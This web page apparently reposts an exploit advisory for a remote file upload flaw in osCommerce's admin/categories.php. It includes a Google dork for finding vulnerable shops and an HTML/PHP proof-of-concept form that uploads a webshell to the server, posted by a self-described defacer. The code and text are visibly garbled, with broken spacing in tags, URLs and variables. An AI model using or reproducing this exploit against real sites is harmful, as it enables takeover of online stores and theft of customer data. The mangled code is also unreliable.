OsCommerce Remote File Upload Vulnerability

Source: Internet
Author: User

OsCommerce is an e-commerce system. The categories. php file in the admin directory of osCommerce has the remote file upload vulnerability, which may be exploited by attackers to upload webshells.

[+] Info:
~~~~~~~~~
# Exploit Title: [oscommerce remote upload from categories. php]
# Google Dork: ["powered by oscommerce"]
# Date: [20-Fig-2010]
# Author: [Number 7]
# Contact: {an [dot] 7 [at] live [dot] fr}
# Software Link: [http://www.oscommerce.com/solutions/downloads]
# Tested on: [windows-linux-FreeBSD-Solaris]

[+] Poc:
~~~~~~~~~

View sourceprint? 01

02

03 <title> Number 7 </title>

04

05 <body>

06 <div style = "text-align: center;"> <big

07 style = "color: rgb (253, 0, 0);"> <big> Discovered

08 By Number 7 <br>

09 </big> <span

10 style = "color: rgb (102,102,102);"> (best defacer kairouan

11 tunisia 2010) </span> <br>

12 </div>

13 <big style = "font-weight: bold; color: rgb (253, 0, 0);"> <big> Oscommerce

14 script: Remote File Upload in/admin/Categories. php </big> <br>

15 <? Php $ host = "site ";

16 $ path = "ath ";

17?>

18 <form name = "new_product"

19 action = "http: // <? Php echo $ host; echo $ path;?> /Admin/categories. php/login. php? CPath = & action = new_product_preview"

20 method = "post" enctype = "multipart/form-data"> <br>

21 <input name = "products_image" type = "file"> <br>

22 <input name = "submit" value = "Save" type = "submit"> <br>

23 <big style = "font-weight: bold; color: rgb (253, 0, 0);"> <big> shell

24 here: </big> <br>

25 <? Php echo ("Using upload File: <a href = http: // $ host/$ path/images/product_info.php> $ host/</> $ path </>/images/product_info.php </a> </font> </body>" );

26?> </Form>

27 </body>

28


[+] Reference:
~~~~~~~~~
Http://www.exploit-db.com/exploits/15587

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.